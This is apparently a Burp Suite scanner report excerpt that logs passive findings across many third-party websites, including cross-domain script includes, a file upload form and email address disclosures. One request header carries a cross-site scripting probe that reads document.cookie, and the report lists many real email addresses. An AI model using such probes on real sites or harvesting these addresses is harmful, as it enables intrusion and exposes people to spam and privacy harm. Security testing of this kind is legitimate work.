<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Nylon Technology</title> <link rel="stylesheet" ...[SNIP]... <!-- START: Google Analytics --> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /licenses HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /licenses/gpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /licenses/lgpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /licenses/mit-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET / HTTP/1.1 Host: www.petrillopowell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:53:44 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 8061
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
GET /state/districtcolumbia.html HTTP/1.1 Host: www.romingerlegal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:54:04 GMT Server: Apache/1.3.41 Ben-SSL/1.59 (Unix) PHP/4.3.6 Connection: close Content-Type: text/html Content-Length: 36886
GET / HTTP/1.1 Host: www.samakowlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Length: 33698 Content-Type: text/html Content-Location: http://www.samakowlaw.com/index.html Last-Modified: Fri, 07 Jan 2011 20:34:26 GMT Accept-Ranges: bytes ETag: "0f57546aaaecb1:fe1" Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 16:53:54 GMT Connection: close
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <meta http ...[SNIP]... </script>
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/200/addthis_widget.js
Request
GET / HTTP/1.1 Host: www.sheriabrams.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:54:16 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 48617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /2011insights.cfm HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//E ...[SNIP]... </script>
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /alumni/Index.cfm HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ALSITETOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Set-Cookie: ALUSERTOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//Dtd Xhtml 1.0 Strict//EN" "http://w ...[SNIP]... <!-- end border table -->
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /index.cfm?contentID=42&itemID=1478 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: BACKLINK=%2CcontentID%3D42%26itemID%3D1478;expires=Fri, 11-Jan-2041 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
GET / HTTP/1.1 Host: www.unica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:09:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: JSESSIONID=D92DBA3A45345A2BB19F39E74FFB0B41.ds1; Path=/ Set-Cookie: RedDotLiveServerSessionID_unica_corporate_2009=SID-F0CC97E2-9FB6377D; Path=/ Date: Wed, 19 Jan 2011 15:09:10 GMT Expires: Wed, 19 Jan 2011 15:09:10 GMT lsrequestid: 37729560 Cache-Control: no-cache Pragma: no-cache Content-Type: text/html;charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><!-- PageID 1 - published by ...[SNIP]... </script>
GET /gypr.aspx?afid=1993&cc=5411105100&cr=3209505169&ct=Washington/x22 HTTP/1.1 Host: www.usdirectory.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:09:38 GMT Server: Microsoft-IIS/6.0 X-UA-Compatible: IE=EmulateIE7 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Set-Cookie: Lng=en; domain=usdirectory.com; expires=Sat, 19-Feb-2011 15:09:38 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 47061
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... <body>
The response dynamically includes the following scripts from other domains:
http://cdn.gigya.com/JS/socialize.js?apikey=null
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </script>
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /index.cfm HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /x22 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2011 15:29:16 GMT Status: 404 Not Found Server: nginx Content-Type: text/html Connection: keep-alive Content-Length: 214516
<!DOCTYPE html> <html> <head>
<title>Page Not Found - YP.com</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <meta content="" name="description" /> <meta content="" name ...[SNIP]... <![endif]--> <script src="http://i2.ypcdn.com/webyp/javascripts/css_browser_selector.js?12909" type="text/javascript"></script>
The page contains a form which is used to submit a user-supplied file to the following URL:
http://translate.google.com/
Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.
Issue background
File upload functionality is commonly associated with a number of vulnerabilities, including:
File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service
You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.
Some factors to consider when evaluating the security impact of this functionality include:
Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.
Issue remediation
File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:
Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defence-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.
Request
GET /translate_t?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:42 GMT Expires: Wed, 19 Jan 2011 15:25:42 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=d1ad7660f84f0a57:TM=1295450742:LM=1295450742:S=28dMatX_jzaFirCR; expires=Fri, 18-Jan-2013 15:25:42 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
adomas.paltanavicius@gmail.com
Request
GET /javascript-mouse-wheel/ HTTP/1.1 Host: adomas.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Wed, 19 Jan 2011 18:03:32 GMT Content-Type: text/html Content-Length: 13850 Last-Modified: Tue, 20 Oct 2009 19:28:11 GMT Connection: close Accept-Ranges: bytes
throw 1; < don't be evil' >{"http://www.kayak.com/h/rss/adfare?orig=WAS&dest=LAS&mc=USD":{"headers":{"set-cookie":["cluster=2; Path=/"]},"body":"\u003c?xml version=\"1.0\"?\u003e\n\u003crss version=\" ...[SNIP]... ubDate\u003e\n \u003clastBuildDate\u003eTue, 18 Jan 2011 19:00:00 EST\u003c/lastBuildDate\u003e\n \u003cdocs\u003ehttp://www.kayak.com/h/labs/rss\u003c/docs\u003e\n \u003cmanagingEditor\u003ewebmaster@kayak.com\u003c/managingEditor\u003e\n \u003cwebMaster\u003ewebmaster@kayak.com\u003c/webMaster\u003e\n \u003citem\u003e\n \u003ctitle\u003eWAS to LAS $291 Jan 22 - 24 on United found today\u003c/title\u003e\n \u003clink\u003ehttp://www.kayak.com/in?ai=&p ...[SNIP]...
The following email address was disclosed in the response:
publishers@attinteractive.com
Request
GET / HTTP/1.1 Host: betalabs.yellowpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:57:34 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 X-Pingback: http://betalabs.attinteractive.com/xmlrpc.php Link: <http://wp.me/>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62963
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profi ...[SNIP]... <a onclick="javascript:pageTracker._trackPageview('/mailto/publishers@attinteractive.com');" href="mailto:publishers@attinteractive.com" target="_blank">publishers@attinteractive.com</a> ...[SNIP]... <a onclick="javascript:pageTracker._trackPageview('/mailto/publishers@attinteractive.com');" href="mailto:publishers@attinteractive.com" target="_blank">publishers@attinteractive.com</a> ...[SNIP]...
The following email address was disclosed in the response:
TenSafeF...@gmail.com
Request
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email addresses were disclosed in the response:
pcware@tiac.net
pcwh@erols.com
Request
GET /computer.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:31 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 88403
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
The following email address was disclosed in the response:
sbaird@a-job.com
Request
GET /jobs.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:51 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 51092
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
...[SNIP]... </i>--Creative One Source represents the region.s top freelance web and interactive media talent. Sally Baird at (703) 299-6100 or e-mail sbaird@a-job.com<br> ...[SNIP]...
The following email addresses were disclosed in the response:
LISTSERV@PAHO.ORG
RITCH-L@PAHO.ORG
marco@clark.net
Request
GET /other.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:22:08 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 159702
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
The following email addresses were disclosed in the response:
dcreg@usedbks.com
maxwonder@aa.action.com
uws333@haven.los.com
Request
GET /shopping.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:22:14 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 108349
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
The following email address was disclosed in the response:
todd@wpaudio.com
Request
GET /wp-content/plugins/wpaudio-mp3-player/wpaudio.min.js?ver=3.1 HTTP/1.1 Host: financaspessoais.blog.br Proxy-Connection: keep-alive Referer: http://financaspessoais.blog.br/?f8184%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ec42c81b1212=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=239951252.1295480312.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/51; __utma=239951252.1616361418.1295480312.1295480312.1295480312.1; __utmc=239951252; __utmb=239951252.1.10.1295480312
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 23:37:43 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch Last-Modified: Tue, 09 Nov 2010 17:06:21 GMT ETag: "1e855a-22a4-494a1c2853d40" Accept-Ranges: bytes Content-Length: 8868 Connection: close Content-Type: application/x-javascript
/* * WPaudio v3.1 (http://wpaudio.com) * by Todd Iceton (todd@wpaudio.com) * * Converts an mp3 link to a simple player styled by HTML & CSS, powered by HTML5 with SoundManager2 Flash fallback * * Copyright 2010 Todd Iceton (email: todd@wpaudio.com) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of ...[SNIP]...
The following email addresses were disclosed in the response:
janus.nos...@magma.ca
rouc...@skynet.be
Request
GET /groups?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email address was disclosed in the response:
il...@halcyon.com
Request
GET /groups?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email address was disclosed in the response:
InterAction@hoganlovells.com
Request
GET /forms/q7x3a1/ HTTP/1.1 Host: hoganlovells.wufoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:57:40 GMT Server: Apache X-Powered-By: PHP/5.2.14 P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" policyref="/w3c/p3p.xml" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 22719
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<title ...[SNIP]... <br /> If you do not wish to receive alumni newsletters from the firm or if you wish to have your name removed from the Alumni Association at any time, please email InterAction@hoganlovells.com or telephone +44 20 7296 2259 / 2820.<br /> ...[SNIP]...
The following email addresses were disclosed in the response:
contact@appendTo.com
contact@appendto.com
hello@filamentgroup.com
Request
GET /about HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Wed, 19 Jan 2011 15:23:52 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 14616
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>jQuery UI - About jQuery UI - The jQuery UI Team</title>
The following email address was disclosed in the response:
customersupport@lexblog.com
Request
GET /2011/01/articles/legal-news-lexblogosphere/best-in-law-blogs-the-lexblog-network-january-5-2010/ HTTP/1.1 Host: kevin.lexblog.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Forbidden Date: Wed, 19 Jan 2011 18:09:06 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Sun, 08 Nov 2009 05:58:15 GMT ETag: "9fe-477d5c34a2bc0" Accept-Ranges: bytes Content-Length: 2558 Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-15e5bf7e; path=/ Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The following email address was disclosed in the response:
colin@lexblog.com
Request
GET /2011/01/articles/legal-news-lexblogosphere/best-in-law-blogs-the-lexblog-network-january-5-2011/ HTTP/1.1 Host: kevin.lexblog.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:08 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Tue, 18 Jan 2011 21:15:25 GMT Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-3f76e457; path=/ Cache-control: private Content-Length: 134763
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http ...[SNIP]... <meta name="author_email" content="colin@lexblog.com" /> ...[SNIP]...
The following email address was disclosed in the response:
sales@gfi.com
Request
GET /event-log-analysis-sm/ HTTP/1.1 Host: landesm.gfi.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Event log analysis & management</title>
The following email address was disclosed in the response:
free2rhyme@yahoo.com
Request
GET /config/login HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:20 GMT Set-Cookie: B=5u97cop6jea6g&b=3&s=jo; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 41558
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Sign in ...[SNIP]... <p id='ex'>(e.g. free2rhyme@yahoo.com)</p> ...[SNIP]...
The following email address was disclosed in the response:
john.doe@asdf.com
Request
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <input name="email0" value="john.doe@asdf.com" type="radio">john.doe@asdf.com</li> ...[SNIP]...
The following email address was disclosed in the response:
Mayberry@MayberryLawFirm.com
Request
GET /a/mayberrylawfirm.com/learnestateplanning/?faa91 HTTP/1.1 Host: sites.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Robots-Tag: noarchive Last-Modified: Wed, 19 Jan 2011 14:23:13 GMT ETag: "1295446993138|#public|en|||0" Expires: Wed, 19 Jan 2011 18:14:41 GMT Date: Wed, 19 Jan 2011 18:14:41 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javascri ...[SNIP]... <font color="#0000FF">Mayberry@MayberryLawFirm.com</font> ...[SNIP]...
The following email addresses were disclosed in the response:
amy.sabrin@skadden.com
greg.luce@skadden.com
